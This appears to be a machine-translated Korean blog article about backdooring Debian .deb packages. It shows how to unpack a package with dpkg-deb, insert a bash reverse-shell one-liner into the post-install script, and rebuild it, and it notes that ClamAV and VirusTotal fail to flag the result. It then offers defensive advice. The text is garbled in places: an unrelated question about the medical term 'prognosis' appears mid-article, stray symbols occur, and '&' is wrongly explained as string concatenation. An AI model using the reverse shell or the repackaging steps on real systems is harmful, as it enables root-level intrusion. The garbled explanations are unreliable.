주요 내용

DEB 패키지는 백도어 공격에 취약하여 권한이 없는 주체가 관리자 권한으로 설치 시 사용자 시스템에 유해한 코드를 삽입할 수 있습니다.

감염된 데비안 패키지 파일은 바이러스 백신 프로그램과 VirusTotal과 같은 클라우드 기반 보안 플랫폼의 탐지를 회피할 수 있기 때문에 탐지하기가 어려울 수 있습니다.

자신을 보호하기 위해서는 익숙하지 않은 출처에서 DEB 패키지를 구하는 것을 자제하고 공인된 배포 채널이나 신뢰할 수 있는 커뮤니티에 의존하는 것이 좋습니다. 또한 보안 조치를 구현하면 네트워크 공격을 통해 발생할 수 있는 잠재적인 사이버 위협으로부터 Linux 운영 체제를 방어하는 데 도움이 될 수 있습니다.

데비안 기반 Linux 배포판은 주로 소프트웨어 패키지를 제공하는 주요 수단으로 DEB 파일을 활용합니다.

데비안 패키지(DEB) 파일을 배포하기 위해서는 관리자 권한을 사용하면서 dpkg와 같은 패키지 관리 도구를 활용해야 합니다. 그러나 악의적인 조직은 해당 패키지에 백도어 구성 요소를 삽입하여 이 취약점을 악용합니다. 결과적으로 dpkg 또는 기타 유사한 유틸리티를 사용하여 DEB를 설치할 때 유해한 코드가 의도한 소프트웨어와 함께 동시에 실행되어 무단 액세스 및 잠재적인 시스템 보안 침해를 초래합니다.

DEB 패키지가 손상될 수 있는 메커니즘과 이러한 취약점과 관련된 잠재적인 보안 위험으로부터 자신을 보호하기 위해 취할 수 있는 조치에 대해 자세히 살펴볼 수 있도록 합니다.

DEB 패키지는 어떻게 백도어되나요?

데비안 패키지 백도어의 복잡성에 대해 자세히 살펴보기 위해서는 먼저 일반적인 데비안 패키지의 내용을 살펴보는 것이 필수적입니다. 이 개념을 설명하기 위해 공식 Microsoft 웹 사이트에서 얻은 Microsoft Visual Studio Code Debian 패키지의 예를 고려해 보겠습니다. 이 패키지는 Linux 시스템에 Visual Studio Code를 설치하기 위해 다운로드하는 바로 그 패키지입니다.

다운로드: Visual Studio Code

원하는 .deb 패키지를 얻었으면 그 내용을 추출하는 것이 필수적입니다. 이 과정은 “-R” 플래그와 추출된 파일을 저장할 지정된 디렉터리를 함께 사용하여 “dpkg-deb” 명령을 사용하여 수행할 수 있습니다:

 dpkg-deb -R <package_name> <path> 

앞서 언급한 프로세스는 VS 코드 번들 내에 포함된 정보를 설명하기 위해 설계되었습니다.

이 글도 확인해 보세요:  Linux에 크리타를 설치하는 방법

지정된 폴더에 들어가면 여러 하위 디렉터리가 나타납니다.그러나 “DEBIAN” 디렉터리에 가장 중점을 두어야 한다는 점에 유의해야 합니다. 이 특정 디렉터리에는 초기 설치 프로세스 중에 상승된 권한으로 실행되는 중요한 유지 관리 스크립트가 있습니다. 악의적인 공격자는 종종 자신의 악의적인 목적을 위해 이러한 스크립트를 조작하려고 시도하는 것으로 관찰되었습니다.

앞서 언급한 예제에서는 설치 후 스크립트를 수정하여 설치 프로세스의 일부로 간결한 bash 역방향 tcp 셸의 인스턴스를 통합합니다. 기능에 따라 이름이 지정된 이 특정 스크립트는 소프트웨어 패키지가 시스템에 성공적으로 배포된 후 실행됩니다.

앞서 언급한 명령 시퀀스에는 원활한 연결을 보장하기 위한 심볼릭 링크 설정, 종속성 관리 및 기타 다양한 구성 조정이 포함됩니다. 온라인 리소스를 종합적으로 검색하면 다양한 대체 리버스 셸 구현을 확인할 수 있으며, 각 구현은 기능에 약간의 차이가 있지만 일반적으로 일관된 원칙을 준수하고 있습니다. 예를 들어, 일반적인 리버스 셸 원라이너는 다음과 같이 실행될 수 있습니다:

 bash -i >& /dev/tcp/127.0.0.1/42069 0>&1 

의학적 맥락에서 ‘예후’라는 단어의 의미와 중요성에 대해 설명하세요.

리눅스 운영 체제의 기본 인터페이스라고도 하는 Bash 셸의 실행을 시작하는 명령을 “bash”라고 합니다.

이 플래그는 셸의 일종인 Bash가 명령에 대한 실시간 입력 및 출력을 가능하게 하는 대화형 방식으로 작동하도록 지시합니다.

★ 㰉/dev/tcp/ip/port★ 명령은 표준 출력과 표준 오류를 모두 네트워크 소켓으로 전달하여 지정된 IP 주소 및 포트 번호로 TCP(전송 제어 프로토콜) 연결을 생성합니다.

주어진 코드 조각은 문자열 연결을 위한 연산자로 &(앰퍼샌드) 기호를 사용하는 프로그래밍 언어로 작성된 것으로 보입니다. 특히 프로그램의 입력과 출력을 모두 동일한 네트워크 소켓으로 리디렉션하는 명령을 생성하는 것으로 보입니다.

리버스 셸은 의도한 표적 시스템에서 실행될 때 해당 시스템과 공격자의 디바이스 간에 보안 통신 채널을 설정하는 특정 형태의 프로그래밍 코드입니다. 이 메커니즘은 보호된 환경 내에서 발생하는 아웃바운드 네트워크 트래픽을 생성하기 때문에 보안 방화벽을 우회하는 효과적인 수단으로 사용됩니다.

이 글도 확인해 보세요:  리눅스에 WinRAR을 설치하여 RAR 파일을 추출하는 방법

스크립트의 수정된 버전은 다음과 같습니다:

이 프로세스에는 파일을 원래 형식의 ‘.deb’ 패키지로 재구성하는 작업이 수반됩니다.이를 위해 –build 옵션과 함께 “dpkg” 명령을 사용하거나 “-b” 플래그로 지시하고 검색된 정보의 위치를 인수로 지정하는 “dpkg-deb” 서비스를 사용합니다.

 dpkg --build <directory>
dpkg-deb -b <directory>

악성 코드가 포함된 손상된 DEB 패키지는 이제 악의적인 웹사이트를 통해 배포할 수 있습니다. 이 가상 상황에서는 의심하지 않는 개인이 일반적인 애플리케이션 패키지를 설치하는 방법과 유사하게 오염된 소프트웨어 패키지를 무의식적으로 다운로드하여 디바이스에 설치했다고 가정합니다.

듀얼 패널 디스플레이에서 상단 패널은 sudo dpkg -i 명령을 사용하여 특정 패키지를 설치하는 표적이 된 개인의 시점으로, 하단 섹션은 Linux 운영 체제에서 netcat 명령을 사용하여 들어오는 통신 채널을 부지런히 모니터링하는 가해자의 시점으로 묘사됩니다.

설치 프로세스가 완료되면 공격자가 리버스 셸 연결을 설정하여 손상된 시스템에 대한 루트 수준의 액세스 권한을 부여하는 것이 관찰됩니다. 이는 데비안 패키지가 악의적인 목적으로 어떻게 악용될 수 있는지를 보여주는 예시입니다. 앞으로 이러한 침입으로부터 자신을 보호하기 위해 취할 수 있는 조치에 대해 자세히 알아보겠습니다.

DEB 패키지가 악성인지 탐지하는 방법

손상된 데비안 패키지가 존재한다는 사실을 알고 있다면, 그러한 파일을 식별할 수 있는 수단에 대해 생각해 볼 수 있습니다. 우선, Linux 시스템용 바이러스 백신 소프트웨어, 즉 ClamAV를 사용하는 것이 한 가지 옵션입니다. 그러나 ClamAV를 사용하여 문제의 패키지를 검사했을 때 악성 활동을 탐지하지 못했습니다. 이 검사 결과는 다음과 같이 기록되어 있습니다:

최고급 바이러스 백신 프로그램을 사용하더라도 악의적인 데비안 패키지 파일을 식별하는 것은 어려울 수 있습니다. 탐지 기능을 강화하기 위해 VirusTotal 플랫폼과 같은 클라우드 서비스를 활용하여 보안 조치를 강화하는 것이 좋습니다.

실제로 VirusTotal에서 얻은 결과에 따르면 제공된 코드와 관련된 악의적인 활동의 징후는 없는 것으로 보입니다. 신뢰할 수 없는 출처로 인한 잠재적 위험으로부터 자신을 보호하려면 기본적인 사이버 보안 관행을 준수해야 합니다. 여기에는 출처가 의심스러운 파일을 다운로드하지 않고, 해시 기술을 통해 파일의 무결성을 정기적으로 확인하며, 일반적으로 의심스럽거나 승인되지 않은 소프트웨어 애플리케이션을 설치하지 않는 것이 포함됩니다.

이 글도 확인해 보세요:  Linux에서 셔뱅(#!) 문자 시퀀스란 무엇인가요?

디지털 자산의 무결성을 유지하면서 방대한 인터넷을 탐색하기 위해서는 높은 수준의 경계를 유지하고 평판이 좋은 웹사이트로만 제한하는 것이 중요합니다. 또한 Linux 운영 체제를 사용하는 경우, AppImage와 같은 대체 파일 형식을 찾는 것이 호스트 시스템과 독립적으로 존재할 수 있어 잠재적인 보안 위험을 완화할 수 있는 자급자족 기능이 있다는 점에서 유리할 수 있습니다.

임의의 사이트에서 DEB 패키지를 다운로드하지 마세요!

데비안 패키지 파일 자체는 본질적으로 악의적인 것은 아니지만, 유해한 콘텐츠를 전달하는 수단으로 그 편리함을 악용하려는 악의적인 공격자에게는 매력적인 표적이 될 수 있습니다. 예를 들어, 이러한 파일은 몇 가지 명령어만으로 비교적 간단하게 수정할 수 있기 때문에 악의적인 의도를 가진 사람이 악성 코드를 삽입할 수 있습니다. 그 결과, 데비안 패키지는 바이러스를 전송하는 데 자주 활용되는 통로가 되었습니다.

데비안 패키지의 초보적인 백도어 취약점도 주요 백신 프로그램의 탐지를 피할 수 있다는 점에 유의할 필요가 있습니다. 따라서 인터넷을 검색할 때는 주의를 기울이고 공인된 출처 또는 신뢰할 수 있는 커뮤니티에서 승인한 소프트웨어만 다운로드하는 것이 좋습니다.

보안 도구를 설치하여 Linux PC를 보호하세요

잘 모르는 출처에서 DEB 패키지를 다운로드하고 설치하는 것과 관련된 잠재적인 보안 위협을 인식하고 있으므로 시스템에 새 소프트웨어를 도입할 때는 반드시 주의를 기울여야 합니다. 하지만 단순히 설치할 애플리케이션을 신중하게 선택하는 것만으로는 충분하지 않을 수 있으며, Linux 기반 시스템도 네트워크를 통해 시작된 사이버 공격의 희생양이 될 수 있습니다.

잠재적인 사이버 공격으로부터 안전을 보장하기 위해 시스템에 네트워크 보안 솔루션을 배포하는 것이 좋습니다.

By 박준영

업계에서 7년간 경력을 쌓은 숙련된 iOS 개발자인 박준영님은 원활하고 매끄러운 사용자 경험을 만드는 데 전념하고 있습니다. 애플(Apple) 생태계에 능숙한 준영님은 획기적인 솔루션을 통해 지속적으로 기술 혁신의 한계를 뛰어넘고 있습니다. 소프트웨어 엔지니어링에 대한 탄탄한 지식과 세심한 접근 방식은 독자에게 실용적이면서도 세련된 콘텐츠를 제공하는 데 기여합니다.